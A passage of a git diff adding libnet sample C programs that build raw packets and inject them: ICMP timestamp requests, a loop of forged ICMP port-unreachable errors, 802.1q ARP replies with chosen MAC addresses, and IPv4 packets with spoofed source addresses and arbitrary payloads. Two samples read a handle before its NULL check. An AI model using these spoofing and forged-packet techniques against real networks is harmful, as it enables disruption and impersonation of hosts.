+ fprintf(stderr, "usage: %s -s source_ip -d destination_ip\n ", name);
+}
+
+/* EOF */
diff --git a/libnet/sample/icmp_timestamp.c b/libnet/sample/icmp_timestamp.c
new file mode 100644
index 0000000..c536020
--- /dev/null
+++ b/libnet/sample/icmp_timestamp.c
@@ -0,0 +1,157 @@
+/*
+ * $Id: icmp_timestamp.c,v 1.2 2004/01/03 20:31:01 mike Exp $
+ *
+ * libnet 1.1
+ * Build an ICMP_TSTAMP packet
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char **argv)
+{
+ int c;
+ libnet_t *l;
+ libnet_ptag_t t;
+ u_long src_ip, dst_ip;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: ICMP timestamp[raw]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_RAW4, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ src_ip = 0;
+ dst_ip = 0;
+ while((c = getopt(argc, argv, "d:s:")) != EOF)
+ {
+ switch (c)
+ {
+ case 'd':
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(1);
+ }
+ break;
+ case 's':
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(1);
+ }
+ break;
+ }
+ }
+ if (!src_ip || !dst_ip)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ t = libnet_build_icmpv4_timestamp(
+ ICMP_TSTAMP, /* type */
+ 0, /* code */
+ 0, /* checksum */
+ 242, /* id */
+ 424, /* sequence number */
+ 1000, /* otime */
+ 2000, /* rtime */
+ 3000, /* ttime */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ICMP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_ICMPV4_TS_H, /* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_ICMP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte ICMP packet; check the wire.\n", c);
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+
+void
+usage(char *name)
+{
+ fprintf(stderr, "usage: %s -s source_ip -d destination_ip\n ", name);
+}
+
+/* EOF */
diff --git a/libnet/sample/icmp_unreach.c b/libnet/sample/icmp_unreach.c
new file mode 100644
index 0000000..a9ac22a
--- /dev/null
+++ b/libnet/sample/icmp_unreach.c
@@ -0,0 +1,204 @@
+/*
+ * $Id: icmp_unreach.c,v 1.4 2004/03/16 18:40:59 mike Exp $
+ *
+ * libnet 1.1
+ * Build an ICMP unreachable packet
+ *
+ * Hacked by Frederic Raynal <pappy@security-labs.org> to illustrate
+ * the new API of ICMP error messages fixing Aaron's bugs.
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char **argv)
+{
+ int c, i;
+ libnet_t *l = NULL;
+ libnet_ptag_t ip_err = 0, icmp = 0, ip = 0, eth = 0;
+ u_long src_ip, dst_ip;
+ u_char payload[8] = {0x11, 0x11, 0x22, 0x22, 0x00, 0x08, 0xc6, 0xa5};
+ u_long payload_s = 8;
+ int mode = LIBNET_LINK;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: ICMP unreachable[link]\n");
+
+ src_ip = 0;
+ dst_ip = 0;
+
+ while((c = getopt(argc, argv, "d:s:r")) != EOF)
+ {
+ switch (c)
+ {
+ case 'd':
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(1);
+ }
+ break;
+ case 's':
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(1);
+ }
+ break;
+ case 'r':
+ mode = LIBNET_RAW4;
+ break;
+ }
+ }
+ if (!src_ip || !dst_ip)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ mode, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ for (i=0; i<255; i++)
+ {
+ ip_err = libnet_build_ipv4(
+ LIBNET_IPV4_H + payload_s, /* o length */
+ IPTOS_LOWDELAY | IPTOS_THROUGHPUT, /* o IP tos */
+ (u_int16_t)i, /* o IP ID */
+ 0, /* o frag */
+ 64, /* o TTL */
+ IPPROTO_UDP, /* o protocol */
+ 0, /* o checksum */
+ dst_ip, /* o source IP */
+ src_ip, /* o destination IP */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l,
+ ip_err);
+ if (ip_err == -1)
+ {
+ fprintf(stderr, "Can't build error IPv4 header: %s\n",
+ libnet_geterror(l));
+ goto bad;
+ }
+
+ icmp = libnet_build_icmpv4_unreach(
+ ICMP_UNREACH, /* type */
+ ICMP_UNREACH_PORT, /* code */
+ 0, /* checksum */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ icmp);
+ if (icmp == -1)
+ {
+ fprintf(stderr, "Can't build ICMP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ ip = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_ICMPV4_UNREACH_H +
+ LIBNET_IPV4_H + payload_s, /* length */
+ IPTOS_LOWDELAY | IPTOS_THROUGHPUT, /* TOS */
+ (u_int16_t)i + 1, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_ICMP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ ip);
+ if (ip == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ if (mode == LIBNET_LINK) {
+ eth = libnet_build_ethernet(
+ enet_dst, /* ethernet destination */
+ enet_src, /* ethernet source */
+ ETHERTYPE_IP, /* protocol type */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ eth); /* libnet id */
+
+ if (eth == -1)
+ {
+ fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ }
+ /*
+ * Write it to the wire.
+ */
+ libnet_diag_dump_pblock(l);
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte ICMP packet; check the wire.\n", c);
+ }
+}
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+
+void
+usage(char *name)
+{
+ fprintf(stderr, "usage: %s [-r] -s source_ip -d destination_ip\n ", name);
+}
+
+/* EOF */
diff --git a/libnet/sample/ieee.c b/libnet/sample/ieee.c
new file mode 100644
index 0000000..0037b01
--- /dev/null
+++ b/libnet/sample/ieee.c
@@ -0,0 +1,177 @@
+/*
+ * $Id: ieee.c,v 1.2 2004/01/03 20:31:01 mike Exp $
+ *
+ * libnet 1.1
+ * Build an ieee 802.1q/ARP packet
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char *argv[])
+{
+ int c, len, do_802_2;
+ u_long i;
+ libnet_t *l;
+ libnet_ptag_t t;
+ u_char *dst, *src, oui[3];
+ char *device = NULL;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: ieee[802.1q / 802.2 / ARP]\n");
+
+ do_802_2 = 0;
+ device = NULL;
+ src = dst = NULL;
+ while ((c = getopt(argc, argv, "8d:i:s:")) != EOF)
+ {
+ switch (c)
+ {
+ case '8':
+ do_802_2 = 1;
+ break;
+ case 'd':
+ dst = libnet_hex_aton(optarg, &len);
+ break;
+ case 'i':
+ device = optarg;
+ break;
+ case 's':
+ src = libnet_hex_aton(optarg, &len);
+ break;
+ }
+ }
+
+ if (src == NULL || dst == NULL)
+ {
+ fprintf(stderr, "usage %s -d dst -s src [-8 ] [-i interface]\n",
+ argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_LINK, /* injection type */
+ device, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ i = libnet_get_ipaddr4(l);
+
+ t = libnet_build_arp(
+ ARPHRD_ETHER, /* hardware addr */
+ ETHERTYPE_IP, /* protocol addr */
+ 6, /* hardware addr size */
+ 4, /* protocol addr size */
+ ARPOP_REPLY, /* operation type */
+ src, /* sender hardware addr */
+ (u_char *)&i, /* sender protocol addr */
+ dst, /* target hardware addr */
+ (u_char *)&i, /* target protocol addr */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ARP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ if (do_802_2)
+ {
+ memset(&oui, 0, 3);
+ t = libnet_build_802_2snap(
+ 0xaa, /* SNAP DSAP */
+ 0xaa, /* SNAP SSAP */
+ 0, /* control */
+ oui, /* oui */
+ ETHERTYPE_ARP, /* ARP header follows */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build 802.2 header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ }
+ t = libnet_build_802_1q(
+ dst, /* dest mac */
+ src, /* source mac */
+ ETHERTYPE_VLAN, /* TPI */
+ 0x006, /* priority (0 - 7) */
+ 0x001, /* CFI flag */
+ 0x100, /* vid (0 - 4095) */
+ do_802_2 ? LIBNET_802_2SNAP_H + LIBNET_ARP_ETH_IP_H : 0x0806,
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build 802.1q header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte 802.1q packet; check the wire.\n", c);
+ }
+ free(dst);
+ free(src);
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ free(dst);
+ free(src);
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+/* EOF */
diff --git a/libnet/sample/ip_link.c b/libnet/sample/ip_link.c
new file mode 100644
index 0000000..9b471f0
--- /dev/null
+++ b/libnet/sample/ip_link.c
@@ -0,0 +1,201 @@
+/*
+ *
+ * libnet 1.1
+ * Build a IPv4 packet with what you want as payload
+ *
+ * Copyright (c) 2003 Frédéric Raynal <pappy@security-labs.org>
+ * All rights reserved.
+ *
+ * Ex:
+ * - send an UDP packet from port 4369 to port 8738
+ * ./ip -s 1.1.1.1 -d 2.2.2.2
+ *
+ * - send a TCP SYN from port 4369 to port 8738
+ * ./ip -s 1.1.1.1 -d 2.2.2.2 -t -p `printf "\x04\x57\x08\xae\x01\x01\x01\x01\x02\x02\x02\x02\x50\x02\x7f\xff\xd5\x91\x41\x41"`
+ *
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char *argv[])
+{
+ int c;
+ libnet_t *l;
+ char *device = NULL;
+ char *dst = "2.2.2.2", *src = "1.1.1.1";
+ char *hwdst = "22:22:22:22:22:22", *hwsrc = "11:11:11:11:11:11";
+ u_long src_ip, dst_ip;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+ libnet_ptag_t ip_ptag = 0;
+ libnet_ptag_t eth_ptag = 0;
+ u_short proto = IPPROTO_UDP;
+ u_char payload[255] = {0x11, 0x11, 0x22, 0x22, 0x00, 0x08, 0xc6, 0xa5};
+ u_long payload_s = 8;
+
+ printf("libnet 1.1 packet shaping: IP + payload[link]\n");
+
+ while ((c = getopt(argc, argv, "d:s:D:S:tp:i:h")) != EOF)
+ {
+ switch (c)
+ {
+ case 'D':
+ hwdst = optarg;
+ break;
+
+ case 'S':
+ hwsrc = optarg;
+ break;
+
+ case 'd':
+ dst = optarg;
+ break;
+
+ case 's':
+ src = optarg;
+ break;
+
+ case 'i':
+ device = optarg;
+ break;
+
+ case 't':
+ proto = IPPROTO_TCP;
+ break;
+
+ case 'p':
+ strncpy(payload, optarg, sizeof(payload)-1);
+ payload_s = strlen(payload);
+ break;
+
+ case 'h':
+ usage(argv[0]);
+ exit(EXIT_SUCCESS);
+
+ default:
+ exit(EXIT_FAILURE);
+ }
+ }
+
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_LINK, /* injection type */
+ device, /* network interface */
+ errbuf); /* error buffer */
+
+ printf("Using device %s\n", l->device);
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ if ((dst_ip = libnet_name2addr4(l, dst, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", dst);
+ exit(EXIT_FAILURE);
+ }
+
+ if ((src_ip = libnet_name2addr4(l, src, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", src);
+ exit(EXIT_FAILURE);
+ }
+
+ /*
+ * Build the packet
+ */
+ ip_ptag = libnet_build_ipv4(
+ LIBNET_IPV4_H + payload_s, /* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ proto, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l, /* libnet handle */
+ ip_ptag); /* libnet id */
+ if (ip_ptag == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ eth_ptag = libnet_build_ethernet(
+ hwdst, /* ethernet destination */
+ hwsrc, /* ethernet source */
+ ETHERTYPE_IP, /* protocol type */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (eth_ptag == -1)
+ {
+ fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte IP packet; check the wire.\n", c);
+ }
+
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+void
+usage(char *name)
+{
+ fprintf(stderr,
+ "usage: %s [-s source_ip] [-d destination_ip]"
+ " [-S HW src] [-D HW dst]"
+ " [-i iface] [-p payload] [-t]\n",
+ name);
+}
+
+/* EOF */
diff --git a/libnet/sample/ip_raw.c b/libnet/sample/ip_raw.c
new file mode 100644
index 0000000..73c30fc
--- /dev/null
+++ b/libnet/sample/ip_raw.c
@@ -0,0 +1,180 @@
+/*
+ *
+ * libnet 1.1
+ * Build a IPv4 packet with what you want as payload
+ *
+ * Copyright (c) 2003 Frédéric Raynal <pappy@security-labs.org>
+ * All rights reserved.
+ *
+ * Ex:
+ * - send an UDP packet from port 4369 to port 8738
+ * ./ip -s 1.1.1.1 -d 2.2.2.2
+ *
+ * - send a TCP SYN from port 4369 to port 8738
+ * ./ip -s 1.1.1.1 -d 2.2.2.2 -t -p `printf "\x04\x57\x08\xae\x01\x01\x01\x01\x02\x02\x02\x02\x50\x02\x7f\xff\xd5\x91\x41\x41"`
+ *
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char *argv[])
+{
+ int c;
+ libnet_t *l;
+ char *device = NULL;
+ char *dst = "2.2.2.2", *src = "1.1.1.1";
+ u_long src_ip, dst_ip;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+ libnet_ptag_t ip_ptag = 0;
+ u_short proto = IPPROTO_UDP;
+ u_char payload[255] = {0x11, 0x11, 0x22, 0x22, 0x00, 0x08, 0xc6, 0xa5};
+ u_long payload_s = 8;
+
+ printf("libnet 1.1 packet shaping: IP + payload[raw]\n");
+
+ /*
+ * handle options
+ */
+ while ((c = getopt(argc, argv, "d:s:tp:i:h")) != EOF)
+ {
+ switch (c)
+ {
+ case 'd':
+ dst = optarg;
+ break;
+
+ case 's':
+ src = optarg;
+ break;
+
+ case 'i':
+ device = optarg;
+ break;
+
+ case 't':
+ proto = IPPROTO_TCP;
+ break;
+
+ case 'p':
+ strncpy(payload, optarg, sizeof(payload)-1);
+ payload_s = strlen(payload);
+ break;
+
+ case 'h':
+ usage(argv[0]);
+ exit(EXIT_SUCCESS);
+
+ default:
+ exit(EXIT_FAILURE);
+ }
+ }
+
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_RAW4, /* injection type */
+ device, /* network interface */
+ errbuf); /* error buffer */
+
+ printf("Using device %s\n", l->device);
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ if ((dst_ip = libnet_name2addr4(l, dst, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", dst);
+ exit(EXIT_FAILURE);
+ }
+
+ if ((src_ip = libnet_name2addr4(l, src, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", src);
+ exit(EXIT_FAILURE);
+ }
+
+
+ /*
+ * Build the packet
+ */
+ ip_ptag = libnet_build_ipv4(
+ LIBNET_IPV4_H + payload_s, /* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ proto, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l, /* libnet handle */
+ ip_ptag); /* libnet id */
+ if (ip_ptag == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte IP packet; check the wire.\n", c);
+ }
+
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+void
+usage(char *name)
+{
+ fprintf(stderr,
+ "usage: %s [-s source_ip] [-d destination_ip]"
+ " [-i iface] [-p payload] [-t]\n",
+ name);
+}
+
+/* EOF */
diff --git a/libnet/sample/isl.c b/libnet/sample/isl.c
new file mode 100644
index 0000000..ab5cf3e
--- /dev/null
+++ b/libnet/sample/isl.c
@@ -0,0 +1,167 @@
+/*
+ * $Id: isl.c,v 1.2 2004/01/03 20:31:01 mike Exp $
+ *
+ * libnet 1.1
+ * Build an ISL packet
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
